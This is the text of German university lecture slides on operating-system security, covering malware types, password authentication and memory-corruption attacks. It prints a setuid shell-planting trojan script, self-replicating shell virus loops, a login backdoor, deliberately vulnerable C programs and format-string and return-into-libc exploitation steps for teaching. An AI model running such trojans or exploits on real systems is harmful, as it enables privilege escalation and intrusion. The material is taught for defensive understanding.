Vorlesung Betriebssysteme II

1 / 109 Vorlesung Betriebssysteme II Thema 7: Betriebssysteme-Sicherheit Robert Baumgartl 18. Mai 2015

Überblick 2 / 109 Grundbegriffe Bösartige Software Authentifizierungsmechanismen Angriffstechniken: Buffer Overflow Return-into-Libc Format String Exploit Angriffscode (Shellcode)

3 / 109 Grundbegriffe Ziele der Systemsicherheit Ziel Vertraulichkeit Datenintegrität Systemverfügbarkeit Bedrohung Ausspionieren der Daten Datenmanipulation Denial of Service Tabelle: Sicherheitsziele und deren Bedrohungen eng verwandt: Datenschutz Verhinderung des Missbrauchs personenbezogener Daten

4 / 109 Grundbegriffe Bedrohungen Quelle Ziel Quelle Ziel ungestörter Informationsfluß Unterbrechung Quelle Ziel Quelle Ziel Abfangen der Information Modifizieren der Information Quelle Ziel Fälschen der Information Abbildung: Szenarien Vier Kategorien: Interruption: z. B. Denial-of-Service, Interception: Angriff auf Vertraulichkeit Modification: Angriff auf Integrität, z. B. Man-in-the-Middle Attack Fabrication (Forging): z. B. Einfügen gefälschter Objekte in System

Überblick Bösartige Software Wirtsprogramm nötig unabhängig Hintertüren Logische Bomben Viren Würmer Trojanische Pferde verbreiten sich selbständig Abbildung: Mögliche Kategorisierung bösartiger Software lokale vs. entfernte Angriffe on-line- vs. off-line-angriffe 5 / 109

6 / 109 Logische Bomben Idee: Implantierung bösartigen Codes in Applikationen (oder in das BS), Aktivierung des Codes, sobald eine bestimmte Aktivierungsbedingung erfüllt Aktivierungsbedingung Eintritt eines Datums (logische) Zeitbombe (Kalender von Aktivierungsdaten: http://vil.nai.com/vil/calendar /virus_calendar.aspx) meist simples Löschen von Daten häufig eingesetzt, um Rache für Entlassung o. ä. zu üben

Ausschnitt aus dem McAfee-Aktivierungskalender 7 / 109 12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM, VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A (Intended), WM/Eraser.A:Tw, VBS/Aqui 13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae, WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B, WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A, WM/Goldsecret.B:Int,WM/CVCK1.B;E, W97M/Rapmak.a, W97M/Yous, W97M/Alamat, WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A, W97M/Digma 14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat, W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM, WM/PHARDERA.C ;D (INTENDED), W97M/Class.B, W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw, VBS/Aqui 15. Mai...

8 / 109 Hintertüren (Back Doors) Idee: Einbau (nichtdokumentierter) Schnittstellen in Software zwecks späterem (unautorisiertem) Zugriff auf das System. Mißbrauch von geheimen Debugging-Schnittstellen schwierig von BS-Seite aus zu erkennen häufiges Relikt aus der Produktentwicklung Behörden sind häufig der Meinung, ein Anrecht auf Hintertüren zu haben Gegenmaßnahme: Code Reviews, Open Source symmetrische vs. asymmetrische Hintertüren viele Würmer installieren Back Doors Klassiker: Back Orifice (http://www.cultdeadcow.com/tools/bo.php) feste Master-BIOS-Passworte, z. B. lkwpeter bei Award BIOS

Beispiel einer Hintertür Beispiel: Login-Code mit Hintertür 1 while (TRUE) { printf("login: "); get_string(name); disable_echoing(); printf("password: "); get_string(password); enable_echoing(); v = check_validity(name, password); if (v strcmp(name, "zzzzz") == 0) break; } execute_shell(name); 1 Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl. Prentice-Hall, 2001, S. 610. 9 / 109

Beispiel 2 (Backdoor im Linux-Kern; nice try) 10 / 109 From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 14:23:02-0800 On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD 2003-11-05 13:46:44.000000000-0800 +++ BAD 2003-11-05 13:46:53.000000000-0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == ( WCLONE WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; --- Larry McVoy lm at bitmover.com

11 / 109 Beispiel 2 (Backdoor im Linux-Kern; nice try) jemand modifizierte die Kernelquellen (unautorisiert) fraglicher Code gehört zu sys_wait4(), d. h. dem Systemruf wait4() verkleideter Code ; current->uid = 0 sieht so ähnlich aus wie current->uid == 0 wenn jemand wait4() aufruft und die Optionen WCLONE und WALL sind gesetzt, so wird der Rufende root Code wurde beim Review entdeckt ( It s not a big deal, we catch stuff like this, but it s annoying to the CVS users. )

Trojanische Pferde ( Trojaner ) Idee: dem Nutzer ein Programm unterschieben, welches bei Aktivierung unerlaubte Aktionen ausführt anstelle eines Eindringlings führt ein autorisierter Nutzer Schadcode aus Beispiel: gefälschter Login-Bildschirm Klassiker: Compiler, der unbemerkt bösartigen Code in übersetzte Programme einbaut 2 vgl. Bundestrojaner 2 Ken Thompson. Reflections on Trusting Trust. In: Communications of the ACM 27.4 (Aug. 1984), S. 761 763. 12 / 109

13 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

14 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

15 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

16 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

17 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

18 / 109 (Computer)-Viren A virus is a program that is able to infect other programs by modifying them to include a possibly evolved copy of itself. (Fred Cohen) einige Varianten: Stealth-Viren polymorphe Viren Bootsektor-Viren Macro-Viren

19 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

20 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

21 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

22 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

23 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

Ein (etwas) besserer Virus 24 / 109 for i in *.sh; do if test "./$i"!= "$0"; then HOST=$(echo -n $(tail -10 $i)) VIR=$(echo -n $(tail -10 $0)) if [ "$HOST"!= "$VIR" ] then tail -n 10 $0 cat >> $i; fi fi done

25 / 109 Würmer An independently replicating and autonomous infection agent, capable of seeking out new host systems and infecting them via the network. (Jose Nazario. Defence and Detection Strategies against Internet Worms. Artech House, 2004) Bekannte Vertreter: W32.Blaster Melissa Mydoom Sasser Conficker

Komponenten eines Wurms 26 / 109 1. Aufklärung neuer Hosts als potentielle Angriffsziele IP-Adreßräume (partiell) durchsuchen lokale Suche in (z. B.) Konfigurationsdateien OS Fingerprinting, um BS-Typ und -Version zu ermitteln 2. Angriffscode Remote Exploit bekannter Schwachstellen Trojanisches Pferd (z.b. Mail mit attached Binary) benötigt für jede anzugreifende Plattform Exploit 3. Kommunikation z. B. mittels ICMP, UDP,..., E-Mail über verdeckte Kanäle Verbergen beteiligter Prozesse und Sockets mittels Kernelmodul oder durch Störung von Überwachungssoftware

Komponenten eines Wurms 27 / 109 4. Kommandoschnittstelle interaktiv oder indirekt (script-gesteuert) typische Kommandos: Up-/Download von Dateien, Flut-Ping, Generierung von HTTP-Requests,... 5. Verwaltung der erfolgreich angegriffenen Hosts verteilte oder zentralisierte Datenbank Liste aller befallenen Rechner in privatem IRC-Channel

Rootkits 28 / 109 Def. Ein Rootkit ist ein (üblicherweise unerwünschtes) Programm, das sich nach Installation vor dem Nutzer verbirgt. Merkmale: Installation typischerweise nach erfolgreichem Einbruch, um Einbruchszweck abzusichern, z. B.: dauerhafte Unterwanderung des Systems Diebstahl von Passwortdaten per Keylogger oder Sniffer verschafft sich keine root-privilegien, sondern benötigt diese bei Installation Eintrittsvektoren: versehentliches Ausführen physischer Zugriff des Angreifers auf System Einbruch via Netzwerk

29 / 109 Rootkits dateibasierte vs. kernelbasierte Rootkits 1. dateibasierte Rootkits tauschen Werkzeuge aus, die zur Detektion des Rootkits genutzt werde könnten (ssh, ps, ls, netstat) Unterart: Library Rootkits: tauschen die entsprechenden Systembibliotheken aus laufen im User Mode 2. kernelbasierte Rootkits modifizieren (Überraschung!) den Kernel z. B. über Modulmechanismus oder Speicherabbild (/dev/kmem) äußerst schwierig zu detektieren

30 / 109 Rootkits Gegenmaßnahmen 1. Unrechtmäßigen root-zugriff verhindern 2. Unrechtmäßigen root-zugriff verhindern (again!) 3. Deaktivierung des Modulmechanismus ( alle Treiber statisch in den Kernel kompiliern) 4. Vergleich nach außen geöffnete Ports (netstat) mit externem Portscan (nmap) Achtung, Hackertool! 5. Suche nach charakteristischen Zeichenketten im Hauptspeicher (Werkzeug chkrootkit) 6. Boot von sauberem Datenträger (Live-CD) und Suche nach verdächtigen Dateien

31 / 109 Authentifizierung = Identifizierung von Nutzern durch einen Host-Rechner Eingabe eines Passwortes bei der Anmeldung Prüfung des eingegebenen Passwortes durch Host Host muß das Passwort nicht kennen ( kein Diebstahl z. B. durch Administrator möglich) Stattdessen: Nutzung von Einwegfunktionen Protokoll: 1. Nutzer übermittelt dem Host Passwort 2. Der Host wendet eine Einwegfunktion auf das Passwort an. 3. Der Host vergleicht das Ergebnis mit dem Wert, der beim Anlegen des Zugangs gespeichert wurde.

32 / 109 Mögliche Angriffe auf den Vorgang der Authentifizierung Ausspähen des Passwortes Social Engineering Erraten des Passwortes Wörterbuchangriff Brute Force

Erraten des Passwortes 33 / 109 Ein legendärer Einbruch im Lawrence Berkeley Laboratory (Clifford Stoll. Kuckucksei. Fischer, 1989): LBL> telnet elxsi Elxsi at LBL login: root password: root incorrect passwort, try again login: guest password: guest incorrect passwort, try again login: uucp password: uucp WELCOME TO THE ELXSI COMPUTER AT LBL bei gut gewarteten Systemen heute nahezu aussichtslos

mein eigener PC (idir) /var/log/auth.log, Ausschnitt Apr 5 14:44:35 idir sshd[14612]: Failed password for invalid user admin from 93.99.106.4 port 40799 ssh2 Apr 5 14:44:39 idir sshd[14620]: Failed password for root from 93.99.106.4 port 42116 ssh2 Apr 5 14:44:43 idir sshd[14630]: Failed password for root from 93.99.106.4 port 43885 ssh2 Apr 5 14:44:44 idir sshd[14640]: Invalid user test from 93.99.106.4 Apr 5 14:44:46 idir sshd[14640]: Failed password for invalid user test from 93. 99.106.4 port 45676 ssh2 Apr 5 14:44:47 idir sshd[14648]: Invalid user test from 93.99.106.4 Apr 5 14:44:49 idir sshd[14648]: Failed password for invalid user test from 93. 99.106.4 port 47395 ssh2 Apr 5 14:44:51 idir sshd[14656]: Invalid user webmaster from 93.99.106.4 Apr 5 14:44:53 idir sshd[14656]: Failed password for invalid user webmaster fro m 93.99.106.4 port 48814 ssh2 Apr 5 14:44:54 idir sshd[14666]: Invalid user user from 93.99.106.4 Apr 5 14:44:56 idir sshd[14666]: Failed password for invalid user user from 93. 99.106.4 port 50581 ssh2 Apr 5 14:44:58 idir sshd[14674]: Invalid user username from 93.99.106.4 Apr 5 14:45:00 idir sshd[14674]: Failed password for invalid user username from 93.99.106.4 port 51972 ssh2 Apr 5 14:45:01 idir sshd[14684]: Invalid user username from 93.99.106.4 Apr 5 14:45:03 idir sshd[14684]: Failed password for invalid user username from 93.99.106.4 port 53530 ssh2 Apr 5 14:45:05 idir sshd[14692]: Invalid user user from 93.99.106.4 Apr 5 14:45:07 idir sshd[14692]: Failed password for invalid user user from 93. 99.106.4 port 55065 ssh2 Apr 5 14:45:10 idir sshd[14702]: Failed password for root from 93.99.106.4 port 56829 ssh2 Apr 5 14:45:11 idir sshd[14710]: Invalid user admin from 93.99.106.4 Apr 5 14:45:13 idir sshd[14710]: Failed password for invalid user admin from 93.99.106.4 port 60192 ssh2 Apr 5 14:45:15 idir sshd[14718]: Invalid user test from 93.99.106.4 Apr 5 14:45:17 idir sshd[14718]: Failed password for invalid user test from 93. 34 / 109

Wörterbuchangriff (Dictionary Attack) 35 / 109 Idee: Offline-Generierung einer Liste aus Einträgen mit potentielles Passwort potentielles Passwort, verschlüsselt alle möglichen Worte, Namen, Bezeichner usw. mittels der Einwegfunktion des Betriebssystems verschlüsseln Diebstahl der Passwortdatei Vergleich der verschlüsselten Wortliste mit den Hashes aus der Passwortdatei Bei Übereinstimmung ist das unverschlüsselte Passwort der entsprechende Eintrag aus der Wortliste Werkzeug john, the Password Cracker

36 / 109 Erschwerung des Wörterbuchangriffes mittels Salz Passwort wird vor Verschlüsselung mit einer Zufallszahl konkateniert (dem Salz) Salz wird mit in der (geheimen) Passwortdatei gespeichert bei genügend großer Anzahl möglicher Hash-Werte wird ein Wörterbuchangriff unmöglich Mallory müßte zu jedem Wort alle möglichen Salz-Werte durchprobieren

37 / 109 Beispiel: Bibliotheksfunktion crypt() char *crypt(const char *key, const char *salt); crypt() is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search. key zeigt auf die (unverschlüsselte) Passphrase salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette) Resultat: DES-verschlüsselter Passworthash moderne Implementierungen bieten bessere Hashverfahren (z. B. SHA-512)

38 / 109 Weitere Gegenmaßnahmen gegen Wörterbuchangriff möglichst keine Hinweise auf Länge des PW ( * u. ä.) in der Eingabemaske möglichst kein Hinweis, ob NKZ gültig oder nicht Verzögerung nach jedem erfolglosen Anmeldeversuch periodisches Erneuern der Passworte: + gecrackte PW werden automatisch ausgetauscht nachteilig, daß Nutzer ständig neue PW lernen müssen

39 / 109 Challenge-Response zur Authentifizierung Ablauf: 1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen 2. Bob sendet eine Zufallszahl ( Nonce - (random) number, used once) an Alice Challenge 3. Alice verschlüsselt die Nonce mit ihrem Passwort und schickt das Chiffrat an Bob Response 4. Bob verschlüsselt die Nonce ebenfalls mit Alice Passwort (d. h., Bob muss Alice Passwort kennen) 5. ist das Chiffrat gleich der Antwort von Alice, so wird Zugang gewährt

Beispiel: Authentifizierung in Windows Authentifizierungsprotokoll NTLM - NT Lan Manager zum großen Teil reverse-engineered liegt mittlerweile offen Grobablauf: 1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den Server, die verschiedene Parameter der Authentifizierung festlegt 2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine 8 Byte lange Nonce enthält 3. Client verschlüsselt die Nonce mit seinem Passwort als Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server konkretes Verfahren hängt von den zuvor ausgehandelten Parametern ab es wird MD4, MD5 und DES eingesetzt Literatur: http://davenport.sourceforge.net/ntlm.html 40 / 109

Sicherheit von NTLM Stellen Zeichenraum Dauer 6 A-Za-z0-9 1 min 6 A-Za-z0-9, 22 SZ 6 min 8 A-Za-z0-9 2 d, 17 h 8 A-Za-z0-9, 22 SZ 33 d 8 A-Za-z0-9, alle SZ 82 d 11 A-Za-z 270 a Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten mittels Distributed Password Recovery (ElcomSoft) 22 SZ = typische Sonderzeichen, d.h. _@#$&+-=%*"~!?.,:;()<> genutztes System: AMD Athlon X2 4850e, 2 Nvidia GeForce 9800 GTX (Stefan Arbeiter und Matthias Deeg. Bunte Rechenknechte. In: c t 6 (2009), S. 204 206) 41 / 109

Authentifizierung mit physischen Objekten 42 / 109 Schlüssel Chipkarten passiv Stored Value Cards, z.b. Telefonkarten aktiv Smart Cards, ausgerüstet mit 8-Bit-CPU, Scratch RAM, ROM, EEPROM PC 1. Challenge an Smart Card Server Smart Card 3. Response an Server 2. Smart Card errechnet Antwort Abbildung: Nutzung einer Smartcard zur Authentifizierung

Angriffstechniken 43 / 109

Buffer Overflow (Sehr einfaches) verwundbares Programm 44 / 109 # i n c l u d e < s t d i o. h> i n t main ( i n t argc, char argv [ ] ) { char b u f f e r [ 5 1 2 ] ; i f ( argc > 1) { s t r c p y ( b u f f e r, argv [ 1 ] ) ; } r e t u r n 0; }

45 / 109 Buffer Overflow Prinzip bestimmte Funktionen der C-Bibliothek führen keine Längenprüfung ihrer Argumente aus (Klassiker: strcpy()) Idee: lokale Variablen (über deren Länge hinaus) mit einer solchen Funktion überfluten (Stack Overflow) Überschreiben der Rückkehradresse auf dem Stack mit Adresse einer Schadroutine bei Verlassen der aktuellen Funktion Sprung zur Schadroutine Ursache: mögliches Verlassen von Feldgrenzen in C, ungeprüfte Länge der Argumente von Bibliotheksfunktionen wie strcpy() oder gets(), gezielte Manipulation von Zeigervariablen

46 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer

47 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer

48 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer

49 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer

50 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> SFP lokale Variablen Puffer

Buffer Overflow Einfache Gegenmaßnahmen 51 / 109 Verzicht auf unsichere Funktionen, u.a. strcpy(), strcat(), sprintf(), vsprintf(), gets() bzw. Nutzung der Pendants mit Bereichsprüfung, aber: Semantik nicht übereinstimmend (z. B. nullterminiert strncpy() das Ziel nicht bei maximal langem String) Geschwindigkeitsnachteile Legacy Code?

Buffer Overflow Stackguard 52 / 109 Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word. Canary Word wird im Funktionsprolog angelegt Overflow überschreibt Canary beim Rücksprung aus Funktion wird Canary auf Integrität getestet Abbruch, wenn falscher Wert hohe Adressen niedrige Adressen...... Funktionsparameter <Ret> Canary SFP lokale Variablen Puffer

53 / 109 Buffer Overflow Wahl des Canary Word Terminator Canary Werte nutzen, die typische Zeichenkettenfunktionen terminieren Wert Symbol Semantik 0x00 - stoppt strcpy() 0x0a LF stoppt gets() 0x0d CR -1 EOF stoppt gets() Tabelle: Terminator Canary optimal ist z. B. 0x000d0aff Random Canary erst zum Programmstart generiert; Angreifer kann darauf nicht mehr reagieren (Angreifer läuft parallel zum angegriffenen Programm)

54 / 109 Stackguard Grenzen des Konzepts moderate Leistungseinbuße Lokale Variablen und Saved Frame Pointer nicht geschützt Canary Word u. U. durch Angreifer restaurierbar, wenn statisch vgl. Bulba and Kil3r. Bypassing Stackguard and Stackshield. In: Phrack 10.56 (Jan. 2000). URL: http: //www.phrack.org/issues/56/5.html#article

55 / 109 StackShield Idee: 1. Rücksprungadresse im Prolog in eine extra Tabelle kopieren 2. im Epilog Kopie der Rücksprungadresse wieder an entsprechende Position im Stack schreiben 3. keine Prüfung auf Identität

56 / 109 Ausführungsverbot beschreibbarer Seiten (W X ) Einfachster Fall: Architektur unterstützt Execute-Recht im Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64) Problem: IA32 tut dies nicht. Lösung 1: NX ( No-Execute ) aka Enhanced Virus Protection erfordert Physical/Page Address Extension (PAE) existiert eigentlich ab Pentium Pro NX jedoch erst ab Prescott-Kern (Intel), AMD64 Seitentabelleneintrag 64 Bit (anstatt 32) Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB nur noch 1/4 der Einträge drittes Hierarchielevel (vgl. folgende Grafik) gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit) Bit 63 ist das (No)-Execute-Bit

Adressumsetzung bei PAE 57 / 109 31 30 29...21 20...12 11...0 PTR Dir Table Offset lineare Adresse CR3 PageDirPt1 PageDirPt2 PageDirPt3 PageDirPt4 Page Directory Pointer Table PD Eintrag PTE gewähltes Byte gewählte Seite Page Directory 512 Einträge NX Bit (63) Page Tables 512 Einträge physischer Adreßraum

Ausführungsverbot beschreibbarer Seiten (W X ) II 58 / 109 Lösung 2: Emulation in Software alle PTEs der zu schützenden Bereiche (Stack, Heap, Daten) haben initial Supervisor-Bit gesetzt Pagefault bei Zugriff Handler: bei Instruction Fetch Abbruch der Task, Logging des Angriffs bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen (Überführung der Übersetzung in Data-TLB), Setzen des SV-Bits weitere Datenzugriffe durch DTLB gecacht nur möglich, wenn getrennte Daten- und Code-TLBs

59 / 109 Ausführungsverbot beschreibbarer Seiten Einbau in Betriebssysteme: Linux ab 2.6.8 Windows XP ab SP2; kein Backport nach Windows 2000 PaX-System, vgl. http://pax.grsecurity.net

Address Space Layout Randomization (ASLR) 60 / 109 Beobachtung: Distanz zwischen Top-of-Stack (TOS) und anzugreifender Rücksprungadresse ist konstant, wird offline (werkzeuggestützt) erraten und in Exploit eingebaut. Idee: Anfangsadressen von Stack, Heap und Code werden zufällig zur Ladezeit generiert. Problem: eingeblendete shared Libraries müssen auch zufällig verteilt werden $ cat /proc/self/maps grep libc erschwert auch return-into-libc-exploits

61 / 109 Return-into-Libc Manipulation einer Rückkehradresse auf dem Stack mittels Buffer Overflow jedoch ( Rück -)Sprung in eine Shared Library (libc) anstatt zu eigenem Shellcode (Abb. nächste Folie) Beispiel: system("/bin/sh"); (führt /bin/sh -c /bin/sh aus) wenn angegriffenes Programm setuid root ist, wird damit eine root-shell geöffnet macht nichtausführbaren Stack wirkungslos

Stacklayout bei Return-into-Libc 62 / 109 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: Rückkehradresse aus libc Ruf Argument 0 des libc Rufes Überflutung sfp Adr in libc dummy arg0 system() {... } "/bin/sh" Code in der libc

63 / 109 Anmerkungen dummy-feld ist Rückkehradresse, die angesprungen wird, wenn system() verlassen wird irrelevant, wenn interaktive Shell gestartet wurde, da diese nicht zurückkehrt

Bestimmung der Einsprungadresse (statisch) robge@hadrian$ cat dummy.c int main() { system(); } robge@hadrian$ gcc -o dummy dummy.c robge@hadrian$ gdb -q dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_d (gdb) break main Breakpoint 1 at 0x8048362 (gdb) run Starting program: /home/local/robge/src/cracking/dummy Breakpoint 1, 0x08048362 in main () (gdb) print system $1 = {<text variable, no debug info>} 0xb7ed8990 <system> Gegenmittel: Address Space Layout Randomization, Parameterübergabe in Registern (ELF64-SystemV ABI bei x86-64) 64 / 109

65 / 109 Dynamische Ermittlung der Einsprungadresse Idee: Sohn erzeugen, der kontinuierlich system("") aufruft Instruction Pointer springt zwischen main() und system() (libc-funktion) mittels ptrace() kann die genaue Adresse von system() bestimmt werden... Code ansehen...

Verkettung zweier libc-rufe 66 / 109 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: "dummy" Überflutung sfp Adr1 in libc Adr2 in libc arg0 für setuid arg0 für system setuid() {... } system() {... } "/bin/sh" =0x01010101 o.ä.

67 / 109 Verkettung zweier libc-rufe Reihenfolge setuid() system() setuid(0) leider unmöglich, da Pufferüberlauf damit vorzeitig abbrechen würde nur möglich, wenn erster libc-aufruf genau ein Argument übernimmt (dummy-lücke) weitere Rufe nicht möglich

Return-into-Libc-Angriff Weitere Techniken 68 / 109 mehr als 2 libc-aufrufe mit beliebig vielen Argumenten (!!) Frame Pointer Lifting Frame Faking Nullbytes im angegriffenen Puffer ebenfalls möglich Literatur: Nergal. The advanced return-into-lib(c) exploits: PaX case study. In: Phrack 11.58 (Dez. 2001). URL: http://www.phrack.org/issues/58/4.html#article

Format String Exploits 69 / 109

70 / 109 Wie funktioniert eigentlich printf()? int printf(const char *format,...); zeichenweises Kopieren des Format-Strings nach stdout %-Platzhalter wird durch TOS (Top of Stack) ersetzt, das entsprechend formatiert wird (SP wird entsprechend angepaßt) %s: ZK, auf die TOS verweist, wird ausgegeben (terminiert, wenn \0 gelesen) %n: schreibt Anzahl bereits ausgegebener Bytes in Variable, auf die TOS verweist (Schreiboperation auf Stack!) keine Prüfung auf Art und Anzahl der Argumente zur Übersetzungszeit möglich

Beispiel für Nutzung von printf() printf-ex.c 71 / 109 #include <stdio.h> int main(int argc, char *argv[]) { char string[7] = "sample"; int A = -72; unsigned int B = 31337; int count_one, count_two; /* Example of printing with different format string */ printf("[a] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[b] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[field width on B] 3: %3u, 10: %10u, %08u \n", B, B, B); printf("[string] %s Address %08x\n", string, string); /* Example of unary address operator and a %x format string */ printf("count_one is located at: %08x\n", &count_one); printf("count_two is located at: %08x\n", &count_two); /* Example of a %n format string */ printf("the number of bytes written up to this point X%n is being stored \ in count_one, and the number of bytes up to here X%n is being stored in \ count_two.\n", &count_one, &count_two); printf("count_one: %d\n", count_one); printf("count_two: %d\n", count_two); /* Stack Example */ printf("a is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); return 0; }

72 / 109 Explizite Adressierung von Argumenten Zur direkten Adressierung von Argumenten im Formatstring dient der $ -Operator Zählung ab 1 #include <stdio.h> int main(void) { printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl"); return 0; } Beispiel für Nutzung des $-Operanden im Formatstring

Stacklayout printf("a is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); Adresse von B Parameter von printf() Wert von B Adresse von A Wert von A Adresse des fmtstring <RET> SP Low 73 / 109

Beispiel für verwundbare Funktion fmt_vuln.c 74 / 109 #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2){ printf("usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); /* The right way to print user-controlled input: */ printf("the right way:\n"); printf("%s", text); /* The wrong way to print user-controlled input: */ printf("\nthe wrong way:\n"); printf(text); printf("\n"); /* Debug output */ printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); return 0; }

bisschen ausprobieren... 75 / 109 robge@hadrian$./fmt_vuln Ni%x The right way: Ni%x The wrong way: Nibffff3e4 robge@hadrian$./fmt_vuln perl -e print "%08x."x40; The right way: 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. The wrong way: bffff334.b7ff3de7.b80016a4.bffff750.78383025.3830252e.30252e78.252e7838.2e783830. 78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838. 2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78. 252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e. 30252e78.252e7838.2e783830.78383025. [*] test_val @ 0x08049794 = -72 0xffffffb8 Stack auslesbar

